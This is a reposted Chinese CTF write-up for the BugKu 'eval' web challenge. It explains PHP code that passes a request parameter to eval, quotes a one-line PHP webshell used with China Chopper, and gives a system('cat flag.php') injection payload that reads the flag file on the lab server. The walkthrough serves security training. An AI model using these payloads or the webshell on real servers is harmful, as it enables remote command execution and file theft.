欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > BugKu Web渗透之eval

BugKu Web渗透之eval

2025/6/7 23:34:38 来源:https://blog.csdn.net/cai_huaer/article/details/148468333  浏览:    关键词:BugKu Web渗透之eval

启动场景,打开网页,显示的是一段代码。

步骤一:

分析代码。

代码大概意思是:

 <?php//包含"flag.php"的文件include "flag.php";    //获取网页请求的hello数据$a = @$_REQUEST['hello'];   //显示变量a的详细信息,再将变量里的内容当代码运行 eval( "var_dump($a);"); //对文件进行 PHP 语法高亮显示 show_source(__FILE__);       
?> 

关于$ _request函数:

php中有$ _request与$ _post、$ _get用于接受表单数据。

$ _request与$ _post、$ _get的区别和特点
php中$ _request可以获取以POST方法和GET方法提交的数据,但是$ _request[]比较慢。通过post和get方法提交的所有数据都可以通过$ _REQUEST数组获得。

步骤二:

拼接网址传参。

我之前的方向错了,我总是想通过菜刀去连接。想着一句话木马:<?php eval(@$_POST['a']); ?>    上面已经给了我们eval,那是否拼接里面这一串  (@$_POST['a']);  就可以了?

于是我用菜刀去连接,但是无论怎么试,没没法查看里面的文件。

于是我换一个想法,拼接system函数。system是用来执行外部程序或命令的函数。

之前代码已经提示我们有一个flag.php的文件,那么是否查看他,就可以找到flag了?

于是我尝试用  117.72.52.127:10875/?hello=system(’cat flag.php‘)去请求,没有发现任何异常,点击右键查看源代码,发现flag在源代码中。

用 117.72.52.127:10875/?hello=system(’cat flag.php‘) 去请求后的网页显示:

用查看源代码可以看到flag。

或者直接用117.72.52.127:10875/?hello=system(’tac flag.php‘) 去请求。

一个小tip:

当用cat不会显示在网页上时,我们试试tac,一般就可以直接显示在网页上了。

其他探讨:

我有用117.72.52.127:10875/?hello=system(’cat flag.php‘);去请求,但是没有任何回显,为什么加了分号就不行了。不是php中一定要用分号结束语句吗?

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词